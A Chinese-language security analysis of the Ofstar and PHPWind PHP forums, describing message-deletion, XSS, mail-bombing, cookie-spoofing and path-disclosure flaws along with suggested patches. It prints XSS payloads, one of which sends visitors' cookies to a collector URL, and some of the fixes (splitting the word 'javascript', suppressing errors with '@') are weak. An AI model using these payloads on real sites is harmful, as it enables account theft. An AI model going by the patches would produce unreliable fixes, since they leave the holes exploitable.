Ofstar和phpind论坛安全性分析前言
ofstar是php论坛新秀,我没有看代码写得如何,第一印象可读性不错,分析这个论坛的原因还是因为好友harry跟我说这个ofstar论坛抄袭了他朋友的bmforum(一个php文本数据库论坛)的代码,我不知道有没有,不过学习人家好的地方,这是理所当然的,我学习php还花近300RMB打印VBB的代码呢。不管怎么说,如果ofstar真的看了bmforum的代码,只能说明bmforum比ofstar优秀,我没有看textdb版,只看了SQL版,这样两个论坛不占边,则更能看出其水平。结果花了1个小时的时间,在harry的催促下,草草看了一下代码,结果发现N多漏洞,不过bmforum的开发人员也别得意,其实bmforum也有N多漏洞。Hoho~~
由于内部原因Ofstar的开发人员已经放弃了Ofstar SQL版本,不过,有意思的是PHPWind论坛其实是和Ofstar SQL差不多的。代码相差无几。这两个论坛有千丝万缕的关系。这个只有内部知道了。后来我又看了看PHPWind的代码。我想说的就是本文所说Ofstar SQL版本的漏洞,PHPWind全部继承了。代码有少许不同而已。呵呵。
由于是在网吧看的代码,有部分漏洞并未有条件实践。但理论上却是存在的。写出来的目的也是为了让更多PHP程序员借鉴。更多在于防范漏洞的思想,而不是方法,方法是多种多样的。
涉及版本
Ofstar v2.0.0 SQL正式版
PHPwind 1.0
详细
1、非法删除短消息
这个漏洞的破坏性实在是大,如果你的硬盘被别人格式化了,你还不知道怎么回事,可悲不?这个问题存在于message.php 文件,看以下代码:
133 if ($action=="del"){
134 $db->update("DELETE FROM of_msg WHERE mid='$mid'");
135 showmsg('成功删除一条信息');
136 }
直接判断action参数是否为del,是则删除字段变量为mid的消息,并没有检查消息是否是本人的,这样就大乱了,我们提交:
http://localhost/ofstar/message.php?action=del&mid=1
这样就可以删除mid为1的消息,如果有一个http扫描器,把这些url按顺序作成列表,导入扫描,不出半分钟。整个论坛的短消息都会被删除,管理员除了查看Web服务器的日志,就根本不知道是怎么被删除的。
2、明显的跨站脚本攻击
隐藏的跨站漏洞就没有时间去看了,这个是最明显的,那就是帖子标签的转换,看bbscode.php 文件的以下代码:
42 if ($allow['pic']){
43 $message = preg_replace("/\[img\](.+?)\[\/img\]/eis","cvpic('\1')",$message);
44 }else{
这些代码是转换的贴图标签的。其实大多数人都是这样写的。大同小异,这样写并没有错,但是如果缺乏了必要的字符检查,那么就是一个安全隐患,我们提交:
就可以获取任何浏览帖子的会员的cookie了。还有就是个人资料,如果系统允许调用远程的图片作为头像,那么也是一个可以跨站的地方,直接在图像位置那里输入:
javascript:alert(document.cookie)
javascript:window.open('http://127.0.0.1/xss.php?'+document.cookie);
注意这里要把单引号换成',否则不能提交成功。
3、危害更大的攻击
既然上面解析没有问题,那我们还可以进行更进一步的攻击,用document.write()可以写出很多具有超强攻击性的代码,如果写一个格式化的代码,或是写入<iframe>标签、或者写入木马,呵呵,有了这个问题,可以说支持HTML代码了。比如我们提交:
懂HTML的人都知道吧,这样就写入了一个内嵌框架,打开的页面是我的站点,但是如果哪位居心隐策的人打开的是一个带有恶意代码或木马的页面,吃亏的不就是浏览者吗?开发者心痛个屁。
4、邮件炸弹
这个漏洞不仅危害到自己,也危害到别人的邮件服务器哦,看sendemail.php 文件,整个文件没有设置邮件发送时间间隔。虽然采用POST取值。但还是可以快速发送,只要愿意,一分钟发60封不是问题。我做过测试,在发送完毕以后,我继续刷新,一分钟的时间,我的信箱就多了48封邮件,我手都酸了,有哪位朋友愿意手工突破我的记录?
5、Cookie欺骗(该漏洞无条件测试)
由于是在网吧检查的代码,所以并没有条件测试,在前台的global.php文件里,有一句代码是这样写的:
$ofstarid=$_COOKIE['ofstarid'];
也就是说$ofstarid这个变量是直接获取cookie里面的ofstarid,也没有做任何过滤,这里就为以后的种种攻击埋下伏笔,我们看profile.php文件:
86 if ($action=="modify"){
……
238 $db->update("UPDATE of_members SET password ='$ofstardb[password]',email='$ofstardb[email]',honor='$prohonor',publicmail='$ofstardb[publicmail]',icon='$ofstardb[icon]',gender='$ofstardb[gender]',signature='$ofstardb[signature]',introduce='$ofstardb[introduce]',oicq='$ofstardb[oicq]',icq='$ofstardb[icq]',site='$ofstardb[site]',location='$ofstardb[location]',bday='$ofstardb[bday]',receivemail='$ofstardb[receivemail]',signchange='$ofstardb[signchange]' WHERE username='$ofstarid'");
更新用户信息的时候,就直接用刚才获取的$ofstarid作为修改条件,众所周知,cookie是可以修改的,也就是说当我们修改了我们本地cookie里的$ofstarid变量后,就可以欺骗程序修改其他用户的资料。
还有很多文件是直接用cookie的值作为SQL语句的条件的,如果真的欺骗成功,那么我们可以做的事实在是太多了,如果大家有兴趣可以自己去研究,这种问题点到为止,否则利用成功那后果真是不堪设想。
6、暴露Web路径
看job.php文件:
129 } elseif($action=='favor'){
……
182 if(in_array($tid_db[$i],$delid)){
浏览收藏夹的时候,当删除一些记录的时候,程序运行到182行,由于in_array()里面要使用两个变量,这个如果我们不选择记录而直接执行更新操作,也就是少提交了一个变量。这是在页面顶部就会出现下面的错误:
Warning: in_array(): Wrong datatype for second argument in F:\www\ofstar\job.php on line 182
Web路径老老实实的反馈给我们。
解决方案
由于问题比较多哦,我尽量给出详细的解决方案,更多的补丁还是看官方的,但我本人并不推荐使用这个论坛。
一、关于非法删除短消息
由于这个漏洞的没有检查身份而导致的,我们把出问题的代码改成下面的代码就没有问题了。
if ($action=="del")
{
if($ofstarid==$manager ||($forumadmin && strpos($forumadmin,','.$ofstarid.',')!==false) || ($fatheradmin && strpos($fatheradmin,','.$ofstarid.',')!==false))
{
$admincheck=1;
} else{
$admincheck=0;
}
if ($groupid!='guest' && ($author==$ofstarid || $admincheck))
{
$msg_admincheck=1;
} else{
$msg_admincheck=0;
}
if ($msg_admincheck==0){
showmsg("您没有权利删除此消息,请您以该消息的主人的身份登录");
}
$db->update("DELETE FROM of_msg WHERE mid='$mid'");
showmsg('成功删除一条信息');
}
还有上面的清空短信息的代码也存在类似漏洞,修补方法同上。
129 if ($action=="clear"){
130 $db->update("DELETE FROM of_msg WHERE msgto='$ofstarid'");
131 showmsg('您的所有短信息已被成功清空');
132 }
二、关于标签解析
没有过滤相关的敏感字符,就容易导致这类漏洞,我写了一行代码,就可以有效的消灭跨站攻击,这是利用正则表达式,判断如果含有javascript就拆分他,把上面的代码修改为:
if ($allow['pic']){
$message = preg_replace("/\[img\](.+?)\[\/img\]/eis","cvpic('\1')",$message);
$message = preg_replace( '/javascript/i', 'java script', $message);
}else{
这样就可以杜绝了第2、第3种攻击。
三、关于邮件炸弹
由于方法比较多,我给出我自己个人的思路。记录发送的次数。限制短时间内限制对同一个邮件地址发送的次数,或者不管发往哪里,就是限制发送次数。用session或cookie可以作为标记,另外,禁止外部提交数据也是行之有效的办法。
四、关于Cookie欺骗
这类攻击只要杜绝被获取Cookie信息就可以了。不管是什么程序,如果使用Cookie验证,只要被人家获取了Cookie信息,就有被伪造的可能。要从根本上杜绝,只有不让别人获取你的Cookie。
五、关于暴露Web路径
这个可以关掉php.ini里面的display_errors选项,但有很多人都是使用虚拟主机,没有权限修改php.ini文件。我看不懂开发人员的开发思路,找不到最佳的解决办法,那就看下面这个我的最简单有效的修补方法,
把下面代码:
if(in_array($tid_db[$i],$delid)){
改为:
if(@in_array($tid_db[$i],$delid)){
在函数前加一个“@”,这样就不会报错了。
后记
这篇文章也告一个段落了,由于时间和技术原因。没有挖掘更多漏洞,不得说不是一个遗憾,其实文中所说的问题在很多程序中都是存在的。希望对PHP程序员能起到抛砖引玉的作用。